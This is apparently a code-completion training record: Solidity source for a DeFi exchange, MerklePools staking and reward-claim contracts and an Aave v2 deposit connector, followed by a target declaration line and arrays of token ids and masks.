uint256 quoteTokenReserveQty =
IERC20(quoteToken).balanceOf(address(this));
uint256 totalSupplyOfLiquidityTokens = this.totalSupply();
// calculate any DAO fees here.
uint256 liquidityTokenFeeQty =
MathLib.calculateLiquidityTokenFees(
totalSupplyOfLiquidityTokens,
internalBalances
);
// we need to factor this quantity in to any total supply before redemption
totalSupplyOfLiquidityTokens += liquidityTokenFeeQty;
uint256 baseTokenQtyToReturn =
(_liquidityTokenQty * baseTokenReserveQty) /
totalSupplyOfLiquidityTokens;
uint256 quoteTokenQtyToReturn =
(_liquidityTokenQty * quoteTokenReserveQty) /
totalSupplyOfLiquidityTokens;
require(
baseTokenQtyToReturn >= _baseTokenQtyMin,
"Exchange: INSUFFICIENT_BASE_QTY"
);
require(
quoteTokenQtyToReturn >= _quoteTokenQtyMin,
"Exchange: INSUFFICIENT_QUOTE_QTY"
);
// this ensures that we are removing the equivalent amount of decay
// when this person exits.
{
//scoping to avoid stack too deep errors
uint256 internalBaseTokenReserveQty =
internalBalances.baseTokenReserveQty;
uint256 baseTokenQtyToRemoveFromInternalAccounting =
(_liquidityTokenQty * internalBaseTokenReserveQty) /
totalSupplyOfLiquidityTokens;
internalBalances.baseTokenReserveQty = internalBaseTokenReserveQty =
internalBaseTokenReserveQty -
baseTokenQtyToRemoveFromInternalAccounting;
// We should ensure no possible overflow here.
uint256 internalQuoteTokenReserveQty =
internalBalances.quoteTokenReserveQty;
if (quoteTokenQtyToReturn > internalQuoteTokenReserveQty) {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty = 0;
} else {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty =
internalQuoteTokenReserveQty -
quoteTokenQtyToReturn;
}
internalBalances.kLast =
internalBaseTokenReserveQty *
internalQuoteTokenReserveQty;
}
if (liquidityTokenFeeQty != 0) {
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
liquidityTokenFeeQty
);
}
_burn(msg.sender, _liquidityTokenQty);
IERC20(baseToken).safeTransfer(_tokenRecipient, baseTokenQtyToReturn);
IERC20(quoteToken).safeTransfer(_tokenRecipient, quoteTokenQtyToReturn);
emit RemoveLiquidity(
msg.sender,
baseTokenQtyToReturn,
quoteTokenQtyToReturn
);
}
/**
* @notice swaps base tokens for a minimum amount of quote tokens. Fees are included in all transactions.
* The exchange must be granted approvals for the base token by the caller.
* @param _baseTokenQty qty of base tokens to swap
* @param _minQuoteTokenQty minimum qty of quote tokens to receive in exchange for
* your base tokens (or the transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function swapBaseTokenForQuoteToken(
uint256 _baseTokenQty,
uint256 _minQuoteTokenQty,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(
_baseTokenQty != 0 && _minQuoteTokenQty != 0,
"Exchange: INSUFFICIENT_TOKEN_QTY"
);
uint256 quoteTokenQty =
MathLib.calculateQuoteTokenQty(
_baseTokenQty,
_minQuoteTokenQty,
TOTAL_LIQUIDITY_FEE,
internalBalances
);
IERC20(baseToken).safeTransferFrom(
msg.sender,
address(this),
_baseTokenQty
);
IERC20(quoteToken).safeTransfer(msg.sender, quoteTokenQty);
emit Swap(msg.sender, _baseTokenQty, 0, 0, quoteTokenQty);
}
/**
* @notice swaps quote tokens for a minimum amount of base tokens. Fees are included in all transactions.
* The exchange must be granted approvals for the quote token by the caller.
* @param _quoteTokenQty qty of quote tokens to swap
* @param _minBaseTokenQty minimum qty of base tokens to receive in exchange for
* your quote tokens (or the transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function swapQuoteTokenForBaseToken(
uint256 _quoteTokenQty,
uint256 _minBaseTokenQty,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(
_quoteTokenQty != 0 && _minBaseTokenQty != 0,
"Exchange: INSUFFICIENT_TOKEN_QTY"
);
uint256 baseTokenQty =
MathLib.calculateBaseTokenQty(
_quoteTokenQty,
_minBaseTokenQty,
IERC20(baseToken).balanceOf(address(this)),
TOTAL_LIQUIDITY_FEE,
internalBalances
);
IERC20(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
IERC20(baseToken).safeTransfer(msg.sender, baseTokenQty);
emit Swap(msg.sender, 0, _quoteTokenQty, baseTokenQty, 0);
}
}
/// @title MerklePools
/// @notice A contract which allows users to stake to farm tokens that are "realized" once
/// profits enter the system and can be claimed via a merkle proof.
contract MerklePools is MerklePoolsStorage, ReentrancyGuardUpgradeable {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerklePool for MerklePool.List;
using SafeERC20Upgradeable for IERC20Upgradeable;
using MerkleStake for MerkleStake.Data;
event PendingGovernanceUpdated(address pendingGovernance);
event GovernanceUpdated(address governance);
event ForfeitAddressUpdated(address governance);
event RewardRateUpdated(uint256 rewardRate);
event PoolRewardWeightUpdated(uint256 indexed poolId, uint256 rewardWeight);
event PoolCreated(uint256 indexed poolId, address indexed token);
event TokensDeposited(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event TokensWithdrawn(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event TokensClaimed(
address indexed user,
uint256 index,
uint256 indexed poolId,
uint256 lpTokenAmountClaimed,
uint256 ticTokenAmountClaimed
);
event MerkleRootUpdated(bytes32 merkleRoot);
event LPTokensGenerated(
uint256 lpAmountCreated,
uint256 ticConsumed,
uint256 quoteTokenConsumed
);
constructor() {}
function initialize(
IMintableERC20 _ticToken,
address _quoteToken,
address _elasticLPToken,
address _governance,
address _forfeitAddress
) external initializer {
require(_governance != address(0), "MerklePools: INVALID_ADDRESS");
ReentrancyGuardUpgradeable.__ReentrancyGuard_init();
ticToken = _ticToken;
governance = _governance;
elasticLPToken = _elasticLPToken;
quoteToken = _quoteToken;
forfeitAddress = _forfeitAddress;
if (address(_ticToken) != address(0)) {
// grant approval to exchange so we can mint
_ticToken.approve(address(_elasticLPToken), type(uint256).max);
}
if (_elasticLPToken != address(0)) {
IERC20Upgradeable(_quoteToken).approve(
address(_elasticLPToken),
type(uint256).max
);
}
}
/**
* @dev A modifier which reverts when the caller is not the governance.
*/
modifier onlyGovernance() {
require(msg.sender == governance, "MerklePools: ONLY_GOVERNANCE");
_;
}
/**
* @dev Sets the governance. This function can only called by the current governance.
* @param _pendingGovernance the new pending governance.
*/
function setPendingGovernance(address _pendingGovernance)
external
onlyGovernance
{
require(
_pendingGovernance != address(0),
"MerklePools: INVALID_ADDRESS"
);
pendingGovernance = _pendingGovernance;
emit PendingGovernanceUpdated(_pendingGovernance);
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "MerklePools: ONLY_PENDING");
address pendingGovernance_ = msg.sender;
governance = pendingGovernance_;
emit GovernanceUpdated(pendingGovernance_);
}
/**
* @dev Sets the distribution reward rate. This will update all of the pools.
* @param _rewardRate The number of tokens to distribute per second.
*/
function setRewardRate(uint256 _rewardRate) external onlyGovernance {
_updatePools();
poolContext.rewardRate = _rewardRate;
emit RewardRateUpdated(_rewardRate);
}
/**
* @dev Sets the address rewards are forfeited to when a staker exits prior to realizing
* their rewards.
* @param _forfeitAddress address to set.
*/
function setForfeitAddress(address _forfeitAddress)
external
onlyGovernance
{
require(_forfeitAddress != forfeitAddress, "MerklePools: SAME_ADDRESS");
forfeitAddress = _forfeitAddress;
emit ForfeitAddressUpdated(_forfeitAddress);
}
/**
* Allows the governance to set the tic token address in the case
* that it wasn't set during the initialize (due to bridge partner)
* @param _ticToken address
*/
function setTicTokenAddress(IMintableERC20 _ticToken)
external
onlyGovernance
{
require(
address(ticToken) == address(0),
"MerklePools: TIC_ALREADY_SET"
);
require(
address(_ticToken) != address(0),
"MerklePools: INVALID_ADDRESS"
);
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
ticToken = _ticToken;
_ticToken.approve(address(elasticLPToken), type(uint256).max);
}
/**
* Allows the governance to set the Elastic LP token address in the case
* that it wasn't set during the initialize due to waiting on the ELP to be
* created once the token is bridged
* @param _elasticLPToken address
*/
function setElasticLPTokenAddress(address _elasticLPToken)
external
onlyGovernance
{
require(elasticLPToken == address(0), "MerklePools: ELP_ALREADY_SET");
require(_elasticLPToken != address(0), "MerklePools: INVALID_ADDRESS");
elasticLPToken = _elasticLPToken;
IERC20Upgradeable(quoteToken).approve(
address(_elasticLPToken),
type(uint256).max
);
}
/**
* @dev Creates a new pool. The created pool will need to have its reward weight
* initialized before it begins generating rewards.
* @param _token The token the pool will accept for staking.
* @return the identifier for the newly created pool.
*/
function createPool(address _token)
external
onlyGovernance
returns (uint256)
{
require(tokenPoolIds[_token] == 0, "MerklePools: ALREADY_CREATED");
uint256 poolId = pools.length();
pools.push(
MerklePool.Data({
token: _token,
totalDeposited: 0,
totalUnclaimedTIC: 0,
totalUnclaimedTICInLP: 0,
rewardWeight: 0,
accumulatedRewardWeight: FixedPointMath.FixedDecimal(0),
lastUpdatedBlockTimestamp: block.timestamp
})
);
tokenPoolIds[_token] = poolId + 1;
emit PoolCreated(poolId, _token);
return poolId;
}
/**
* @dev Sets the reward weights of all of the pools.
* @param _rewardWeights The reward weights of all of the pools.
*/
function setRewardWeights(uint256[] calldata _rewardWeights)
external
onlyGovernance
{
uint256 poolsLength = pools.length();
require(
_rewardWeights.length == poolsLength,
"MerklePools: LENGTH_MISMATCH"
);
_updatePools();
uint256 totalRewardWeight_ = poolContext.totalRewardWeight;
for (uint256 _poolId = 0; _poolId < poolsLength; _poolId++) {
MerklePool.Data storage _pool = pools.get(_poolId);
uint256 _currentRewardWeight = _pool.rewardWeight;
if (_currentRewardWeight == _rewardWeights[_poolId]) {
continue;
}
totalRewardWeight_ =
totalRewardWeight_ -
_currentRewardWeight +
_rewardWeights[_poolId];
_pool.rewardWeight = _rewardWeights[_poolId];
emit PoolRewardWeightUpdated(_poolId, _rewardWeights[_poolId]);
}
poolContext.totalRewardWeight = totalRewardWeight_;
}
/**
* @dev Stakes tokens into a pool.
* @param _poolId the pool to deposit tokens into.
* @param _depositAmount the amount of tokens to deposit.
*/
function deposit(uint256 _poolId, uint256 _depositAmount)
external
nonReentrant
{
require(msg.sender != forfeitAddress, "MerklePools: UNUSABLE_ADDRESS");
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
stake.update(pool, poolContext);
pool.totalDeposited = pool.totalDeposited + _depositAmount;
stake.totalDeposited = stake.totalDeposited + _depositAmount;
IERC20Upgradeable(pool.token).safeTransferFrom(
msg.sender,
address(this),
_depositAmount
);
emit TokensDeposited(msg.sender, _poolId, _depositAmount);
}
/**
* @dev exits and returns all staked tokens from a pool and forfeit's any outstanding rewards
* @param _poolId the pool to exit from.
*/
function exit(uint256 _poolId) external nonReentrant {
require(msg.sender != forfeitAddress, "MerklePools: UNUSABLE_ADDRESS");
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
stake.update(pool, poolContext);
uint256 withdrawAmount = stake.totalDeposited;
pool.totalDeposited = pool.totalDeposited - withdrawAmount;
stake.totalDeposited = 0;
// unclaimed rewards are transferred to the forfeit address
MerkleStake.Data storage forfeitStake = stakes[forfeitAddress][_poolId];
forfeitStake.update(pool, poolContext);
forfeitStake.totalUnrealized += stake.totalUnrealized;
// we need to zero our their total unrealized and also ensure that they are unable to just
// re-enter and then claim using a stale merkle proof as their unrealized increments again
// over time. By adding their unrealized to their totalRealized, we ensure that any
// existing merkle claim is now un-claimable by them until we generate a new merkle claim
// that accounts for these values. This means that the sum of all stakes.totalRealizedTIC
// is not accurate in terms of tic claimed
// and that we also need to check in the UI to not end up with negative
// claimable values. The off chain accounting needs to consider this as well if a
// user does re-enter wit the same address in the future.
stake.totalRealizedTIC += stake.totalUnrealized;
stake.totalUnrealized = 0;
IERC20Upgradeable(pool.token).safeTransfer(msg.sender, withdrawAmount);
emit TokensWithdrawn(msg.sender, _poolId, withdrawAmount);
}
/**
* @notice Allows a caller to generate LP tokens to distribute to stakers. The quote token
* is taken from the caller and paired with freshly minted TIC token to create new LP tokens.
* @param _poolId id of the pool these LP Tokens are associated with.
* @param _ticTokenQty qty of ticTokens that you would like to add
* @param _quoteTokenQty qty of quoteTokens that you would like to add (USDC)
* @param _ticTokenQtyMin minimum acceptable qty of ticToken that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function generateLPTokens(
uint256 _poolId,
uint256 _ticTokenQty,
uint256 _quoteTokenQty,
uint256 _ticTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _expirationTimestamp
) external virtual onlyGovernance {
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
MerklePool.Data storage _pool = pools.get(_poolId);
_pool.update(poolContext); // update pool first!
uint256 maxMintAmount =
_pool.totalUnclaimedTIC - _pool.totalUnclaimedTICInLP;
require(maxMintAmount >= _ticTokenQty, "MerklePools: NSF_UNCLAIMED");
// check to make sure we don't have some "Excess" tic we can use.
uint256 ticBalanceToBeMinted = _ticTokenQty - excessTICFromSlippage;
ticToken.mint(address(this), ticBalanceToBeMinted);
IERC20Upgradeable(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
uint256 lpBalanceBefore =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this));
uint256 ticBalanceBefore = ticToken.balanceOf(address(this));
uint256 quoteTokenBalanceBefore =
IERC20Upgradeable(quoteToken).balanceOf(address(this));
Exchange(address(elasticLPToken)).addLiquidity(
_ticTokenQty,
_quoteTokenQty,
_ticTokenQtyMin,
_quoteTokenQtyMin,
address(this),
_expirationTimestamp
);
uint256 lpBalanceCreated =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this)) -
lpBalanceBefore;
require(lpBalanceCreated != 0, "MerklePools: NO_LP_CREATED");
uint256 ticBalanceConsumed =
ticBalanceBefore - ticToken.balanceOf(address(this));
excessTICFromSlippage = _ticTokenQty - ticBalanceConsumed; //save for next time
_pool.totalUnclaimedTICInLP += ticBalanceConsumed;
uint256 quoteTokenConsumed =
quoteTokenBalanceBefore -
IERC20Upgradeable(quoteToken).balanceOf(address(this));
if (quoteTokenConsumed < _quoteTokenQty) {
// refund the rest to the caller
IERC20Upgradeable(quoteToken).safeTransfer(
msg.sender,
_quoteTokenQty - quoteTokenConsumed
);
}
emit LPTokensGenerated(
lpBalanceCreated,
ticBalanceConsumed,
quoteTokenConsumed
);
}
/**
* @notice Allows a new merkle root to be set by the contracts owner (the DAO)
* @param _merkleRoot the merkle root to be set
*/
function setMerkleRoot(bytes32 _merkleRoot) public onlyGovernance {
require(merkleRoot != _merkleRoot, "MerklePools: DUPLICATE_ROOT");
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
isClaimsEnabled = true;
merkleRoot = _merkleRoot;
emit MerkleRootUpdated(_merkleRoot);
}
/**
* @notice Allows for a staker to claim LP tokens based on the merkle proof provided.
* @param _index the index of the merkle claim
* @param _poolId the pool id these rewards are associated with.
* @param _totalLPTokenAmount the total LP token amount in the tree
* @param _totalTICAmount the total TIC amount to be consumed in the tree
* @param _merkleProof bytes32[] proof for the claim
*/
function claim(
uint256 _index,
uint256 _poolId,
uint256 _totalLPTokenAmount,
uint256 _totalTICAmount,
bytes32[] calldata _merkleProof
) external nonReentrant {
require(isClaimsEnabled, "MerklePools: CLAIMS_DISABLED");
// Verify the merkle proof.
bytes32 node =
keccak256(
abi.encodePacked(
_index,
msg.sender,
_poolId,
_totalLPTokenAmount,
_totalTICAmount
)
);
require(
MerkleProofUpgradeable.verify(_merkleProof, merkleRoot, node),
"MerklePools: INVALID_PROOF"
);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
uint256 alreadyClaimedLPAmount = stake.totalRealizedLP;
uint256 alreadyClaimedTICAmount = stake.totalRealizedTIC;
require(
_totalLPTokenAmount > alreadyClaimedLPAmount &&
_totalTICAmount > alreadyClaimedTICAmount,
"MerklePools: INVALID_CLAIM_AMOUNT"
);
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
stake.update(pool, poolContext);
// determine the amounts of the new claim
uint256 lpTokenAmountToBeClaimed;
uint256 ticTokenAmountToBeClaimed;
unchecked {
lpTokenAmountToBeClaimed =
_totalLPTokenAmount -
alreadyClaimedLPAmount;
ticTokenAmountToBeClaimed =
_totalTICAmount -
alreadyClaimedTICAmount;
}
require(
ticTokenAmountToBeClaimed <= stake.totalUnrealized,
"MerklePools: INVALID_UNCLAIMED_AMOUNT"
);
stake.totalRealizedLP = _totalLPTokenAmount;
stake.totalRealizedTIC = _totalTICAmount;
unchecked {
stake.totalUnrealized -= ticTokenAmountToBeClaimed;
}
pool.totalUnclaimedTIC -= ticTokenAmountToBeClaimed;
pool.totalUnclaimedTICInLP -= ticTokenAmountToBeClaimed;
IERC20Upgradeable(elasticLPToken).safeTransfer(
msg.sender,
lpTokenAmountToBeClaimed
);
emit TokensClaimed(
msg.sender,
_index,
_poolId,
lpTokenAmountToBeClaimed,
ticTokenAmountToBeClaimed
);
}
/**
* @dev Gets the rate at which tokens are minted to stakers for all pools.
* @return the reward rate.
*/
function rewardRate() external view returns (uint256) {
return poolContext.rewardRate;
}
/**
* @dev Gets the total reward weight between all the pools.
* @return the total reward weight.
*/
function totalRewardWeight() external view returns (uint256) {
return poolContext.totalRewardWeight;
}
/**
* @dev Gets the number of pools that exist.
* @return the pool count.
*/
function poolCount() external view returns (uint256) {
return pools.length();
}
/**
* @dev Gets the token a pool accepts.
* @param _poolId the identifier of the pool.
* @return the token.
*/
function getPoolToken(uint256 _poolId) external view returns (address) {
MerklePool.Data storage pool = pools.get(_poolId);
return pool.token;
}
/**
* @dev Gets the pool data struct
* @param _poolId the identifier of the pool.
* @return the Pool.Data (memory, not storage!).
*/
function getPool(uint256 _poolId)
external
view
returns (MerklePool.Data memory)
{
return pools.get(_poolId);
}
/**
* @dev Gets the total amount of funds staked in a pool.
* @param _poolId the identifier of the pool.
* @return the total amount of staked or deposited tokens.
*/
function getPoolTotalDeposited(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.totalDeposited;
}
/**
* @dev Gets the total amount of token unclaimed from a pool
* @param _poolId the identifier of the pool.
* @return the total amount of unclaimed / un-minted tokens from a pool
*/
function getPoolTotalUnclaimed(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.getUpdatedTotalUnclaimed(poolContext);
}
/**
* @dev Gets the total amount of tokens unclaimed from a pool that are not yet "realized" in
* the form of LP tokens
* @param _poolId the identifier of the pool.
* @return the total amount of unclaimed and un-minted tokens from a pool that are not in LP tokens
*/
function getPoolTotalUnclaimedNotInLP(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return
pool.getUpdatedTotalUnclaimed(poolContext) -
pool.totalUnclaimedTICInLP;
}
/**
* @dev Gets the reward weight of a pool which determines
* how much of the total rewards it receives per second.
* @param _poolId the identifier of the pool.
* @return the pool reward weight.
*/
function getPoolRewardWeight(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.rewardWeight;
}
/**
* @dev Gets the amount of tokens per second being distributed to stakers for a pool.
* @param _poolId the identifier of the pool.
* @return the pool reward rate.
*/
function getPoolRewardRate(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.getRewardRate(poolContext);
}
/**
* @dev Gets the number of tokens a user has staked into a pool.
* @param _account The account to query.
* @param _poolId the identifier of the pool.
* @return the amount of deposited tokens.
*/
function getStakeTotalDeposited(address _account, uint256 _poolId)
external
view
returns (uint256)
{
MerkleStake.Data storage stake = stakes[_account][_poolId];
return stake.totalDeposited;
}
/**
* @dev Gets the number of unclaimed reward tokens a user can claim from a pool.
* @param _account The account to get the unclaimed balance of.
* @param _poolId The pool to check for unclaimed rewards.
* @return the amount of unclaimed reward tokens a user has in a pool.
*/
function getStakeTotalUnclaimed(address _account, uint256 _poolId)
external
view
returns (uint256)
{
MerkleStake.Data storage stake = stakes[_account][_poolId];
return stake.getUpdatedTotalUnclaimed(pools.get(_poolId), poolContext);
}
/**
* @dev Updates all of the pools.
*/
function _updatePools() internal {
uint256 poolsLength = pools.length();
for (uint256 poolId = 0; poolId < poolsLength; poolId++) {
MerklePool.Data storage pool = pools.get(poolId);
pool.update(poolContext);
}
}
}
/**
* MerklePoolsForeign allows for us to enable our MerklePools staking on a chain that has bridged
* TIC. Instead of minting during the `generateLPTokens` call, TIC is transferred in from
* the caller (onlyGovernance) to be used to mint LP tokens.
*/
contract MerklePoolsForeign is MerklePools {
using MerklePool for MerklePool.List;
using MerklePool for MerklePool.Data;
using SafeERC20Upgradeable for IERC20Upgradeable;
/**
* @notice Allows a caller to generate LP tokens to distribute to stakers. The quote token
* is taken from the caller and paired with freshly minted TIC token to create new LP tokens.
* @param _poolId id of the pool these LP Tokens are associated with.
* @param _ticTokenQty qty of ticTokens that you would like to add
* @param _quoteTokenQty qty of quoteTokens that you would like to add (USDC)
* @param _ticTokenQtyMin minimum acceptable qty of ticToken that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function generateLPTokens(
uint256 _poolId,
uint256 _ticTokenQty,
uint256 _quoteTokenQty,
uint256 _ticTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _expirationTimestamp
) external override onlyGovernance {
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
MerklePool.Data storage _pool = pools.get(_poolId);
_pool.update(poolContext); // update pool first!
uint256 maxMintAmount =
_pool.totalUnclaimedTIC - _pool.totalUnclaimedTICInLP;
require(maxMintAmount >= _ticTokenQty, "MerklePools: NSF_UNCLAIMED");
ticToken.transferFrom(msg.sender, address(this), _ticTokenQty);
IERC20Upgradeable(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
uint256 lpBalanceBefore =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this));
uint256 ticBalanceBefore = ticToken.balanceOf(address(this));
uint256 quoteTokenBalanceBefore =
IERC20Upgradeable(quoteToken).balanceOf(address(this));
Exchange(address(elasticLPToken)).addLiquidity(
_ticTokenQty,
_quoteTokenQty,
_ticTokenQtyMin,
_quoteTokenQtyMin,
address(this),
_expirationTimestamp
);
uint256 lpBalanceCreated =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this)) -
lpBalanceBefore;
require(lpBalanceCreated != 0, "MerklePools: NO_LP_CREATED");
uint256 ticBalanceConsumed =
ticBalanceBefore - ticToken.balanceOf(address(this));
_pool.totalUnclaimedTICInLP += ticBalanceConsumed;
if (ticBalanceConsumed < _ticTokenQty) {
// refund the rest to caller.
ticToken.transfer(msg.sender, _ticTokenQty - ticBalanceConsumed);
}
uint256 quoteTokenConsumed =
quoteTokenBalanceBefore -
IERC20Upgradeable(quoteToken).balanceOf(address(this));
if (quoteTokenConsumed < _quoteTokenQty) {
// refund the rest to the caller
IERC20Upgradeable(quoteToken).safeTransfer(
msg.sender,
_quoteTokenQty - quoteTokenConsumed
);
}
emit LPTokensGenerated(
lpBalanceCreated,
ticBalanceConsumed,
quoteTokenConsumed
);
}
} | elastic LP token we create to emit for claimed rewards
| address public elasticLPToken; | 7,877,492 | [
1,
22318,
511,
52,
1147,
732,
752,
358,
3626,
364,
7516,
329,
283,
6397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1758,
1071,
10465,
14461,
1345,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.7.0;
import { TokenInterface } from "../../../common/interfaces.sol";
import { Stores } from "../../../common/stores.sol";
import { Helpers } from "./helpers.sol";
import { Events } from "./events.sol";
import { AaveInterface } from "./interface.sol";
abstract contract AaveResolver is Events, Helpers {
/**
* @dev Deposit ETH/ERC20_Token.
* @notice Deposit a token to Aave v2 for lending / collaterization.
* @param token The address of the token to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt The amount of the token to deposit. (For max: `uint256(-1)`)
* @param getId ID to retrieve amt.
* @param setId ID stores the amount of tokens deposited.
*/
function deposit(
address token,
uint256 amt,
uint256 getId,
uint256 setId
) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
bool isEth = token == ethAddr;
address _token = isEth ? wethAddr : token;
TokenInterface tokenContract = TokenInterface(_token);
if (isEth) {
_amt = _amt == uint(-1) ? address(this).balance : _amt;
convertEthToWeth(isEth, tokenContract, _amt);
} else {
_amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt;
}
tokenContract.approve(address(aave), _amt);
aave.deposit(_token, _amt, address(this), referralCode);
if (!getIsColl(_token)) {
aave.setUserUseReserveAsCollateral(_token, true);
}
setUint(setId, _amt);
_eventName = "LogDeposit(address,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, getId, setId);
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @notice Withdraw deposited token from Aave v2
* @param token The address of the token to withdraw.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt The amount of the token to withdraw. (For max: `uint256(-1)`)
* @param getId ID to retrieve amt.
* @param setId ID stores the amount of tokens withdrawn.
*/
function withdraw(
address token,
uint256 amt,
uint256 getId,
uint256 setId
) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
